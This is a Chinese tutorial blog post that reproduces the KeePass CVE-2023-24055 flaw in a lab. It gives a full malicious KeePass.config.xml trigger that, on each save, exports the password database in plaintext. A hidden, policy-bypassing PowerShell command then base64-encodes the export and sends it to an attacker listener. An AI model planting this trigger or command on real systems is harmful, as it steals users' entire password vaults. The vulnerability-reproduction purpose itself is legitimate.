目 录CONTENT

文章目录

KeePass敏感信息明文传输漏洞复现(CVE-2023-24055)(保姆级教程)

cz
cz
2023-04-17 / 6 评论 / 5 点赞 / 451 阅读 / 1,331 字 / 正在检测是否收录...
温馨提示:
本文最后更新于 2023-06-25,若内容或图片失效,请留言反馈。部分素材来自网络,若不小心影响到您的利益,请联系我们删除。

一、漏洞描述

漏洞简述

KeePass 是一款免费的开源密码管理器,可帮助您以安全的方式管理您的密码。您可以将所有密码存储在一个数据库中,该数据库由一把万能钥匙锁定。因此,您只需记住一个主密钥即可解锁整个数据库。数据库文件使用目前已知的最佳和最安全的加密算法(AES-256、ChaCha20 和 Twofish)进行加密。

对 KeePass 配置文件具有写入权限的攻击者可以修改它并注入恶意触发器,例如通过添加导出触发器来获取明文密码。

漏洞影响范围

供应商: KeePass
产品: KeePass Password Safe 2
确认受影响版本: KeePass 2.53版本
修复版本: KeePass 2.53.1版本

二、漏洞复现实战

环境搭建

KeePass数据库下载链接
1、右键单击以管理身份运行,注意默认安装只有英文,需要自己下载汉化包
汉化包下载
image-1681709338700
下载完之后汉化包自行解压
image-1681709660578
2、安装数据库
image-1681709706843
image-1681709732058
image-1681709764408
3、导入汉化包
image-1681709836503
image-1681709858168
将下载的汉化包拖进去选择中文,重启生效
image-1681709984655
4、新建数据库,默认命名为数据库.kdbx
image-1681710205571
image-1681710243720
5、设置管理密码,随便设置个
image-1681710391557
image-1681710450183
6、设置用户名,这里我设置的admin123,数据库名称可先不写
image-1681710530561

漏洞复现

复现攻击

用POC修改配置文件

1、创建一个触发器,在密码数据库存在交互时进行明文传输。触发器创建主要细分为两步骤:
(1)POC写入配置文件

将编写好的POC代码写入KeePass.config.xml(配置文件),须符合触发器XML格式。(将poc中数据库的导出路径和攻击者的接收路径更改一下后,直接覆盖原KeePass.config.xml配置文件位置(数据库安装目录)即可)

image-1681712018582
小建议如下图:复现之前先将相关参数用记事本写下,方便利用
image-1681712129948
需要修改三处
image-1681712229971
POC编写代码如下
利用powershell以GET方式传输数据库中密码文件。

<TriggerSystem> 
    <Triggers>
                <Trigger>
                    <Guid>lztpSRd56EuYtwwqntH7TQ==</Guid>
                    <Name>exploit</Name>
                    <Events>
                        <Event>
                            <TypeGuid>s6j9/ngTSmqcXdW6hDqbjg==</TypeGuid>
                            <Parameters>
                                <Parameter>0</Parameter>
                                <Parameter />
                            </Parameters>
                        </Event>
                    </Events>
                    <Conditions />
                    <Actions>
                        <Action>
                            <TypeGuid>D5prW87VRr65NO2xP5RIIg==</TypeGuid>
                            <Parameters>
                                <Parameter>c:\Users\你自己本地的路径数字\AppData\Local\Temp\exploit.xml</Parameter>
                                <Parameter>KeePass XML (2.x)</Parameter>
                                <Parameter />
                                <Parameter />
                            </Parameters>
                        </Action>
                        <Action>
                            <TypeGuid>2uX4OwcwTBOe7y66y27kxw==</TypeGuid>
                            <Parameters>
                                <Parameter>PowerShell.exe</Parameter>
                                <Parameter>-ex bypass -noprofile -c $var=([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\同上\AppData\Local\Temp\exploit.xml')));Invoke-WebRequest -uri http://192.168.XXX.XXX:9999(kali的本机地址和监听端口,可用ifconfig查看)/$var -Method GET </Parameter>
                                <Parameter>False</Parameter>
                                <Parameter>1</Parameter>
                                <Parameter />
                            </Parameters>
                        </Action>
                    </Actions>
                </Trigger>
            </Triggers>         
            </TriggerSystem>

保存KeePass.config.xml文件,触发器功能查看exploit触发器

手工创建触发器

点击工具——触发器
image-1681713030657
点击添加
image-1681713056664
1、属性项:命名为exploit,其余默认配置
image-1681713128925
2、事件项:选择“已保存数据库文件(Saved database file)”,判断条件选“相等(Equals)”
image-1681713184191
image-1681713209204
点击完成,添加成功
image-1681713224644
3、动作项:
image-1681713356143
(1)导出当前数据库

文件路径为明文传输路径

C:\Users\本地路径对应数字\AppData\Local\Temp\exploit.xml

文件格式选择 KeePass XML (2.x)
image-1681713628301
对应配置文件位置
image-1681713663222

<Parameter>C:\Users\本地路径对应数字\AppData\Local\Temp\exploit.xml</Parameter>

(2)执行命令行/URL
文件路径为PowerShell.exe,使触发器执行PowerShell

参数选择攻击接收的路径

窗口方式选择隐藏(Hidden)

image-1681714075861
对应配置文件
image-1681714230703

<Parameter>-ex bypass -noprofile -c $var=([System.Convert]::ToBase64String([System.IO.File]::ReadAllBytes('c:\Users\同上\AppData\Local\Temp\exploit.xml')));Invoke-WebRequest -uri http://192.168.XXX.XXX:9999(kali的本机地址和监听端口,可用ifconfig查看)/$var -Method GET </Parameter>

全部添加完之后如图显示:
image-1681714284165
点击完成,登录攻击机。

攻击复现

打开攻击机(我用的kali),开启web服务,监听对应的9999端口,用于接收传输后的密码明文:
image-1681714454959
回到数据库靶机,右键添加记录
image-1681714544720
标题任意,点击确定,然后Ctrl+S保存,会提示输入密码,直接输入就行了
image-1681714625829
然后我们接着去我们kali攻击机看,发现有base64数据显示
image-1681714755352
base64加解密
image-1681715045587
解码后可以看到相关信息
image-1681715235363
在靶机的C:\Users\本地路径对应数字\AppData\Local\Temp目录中也可看到poc生成的数据库备份文件:
image-1681715676000
至此我们的CVE-2023-24055漏洞复现全部结束!

5

评论区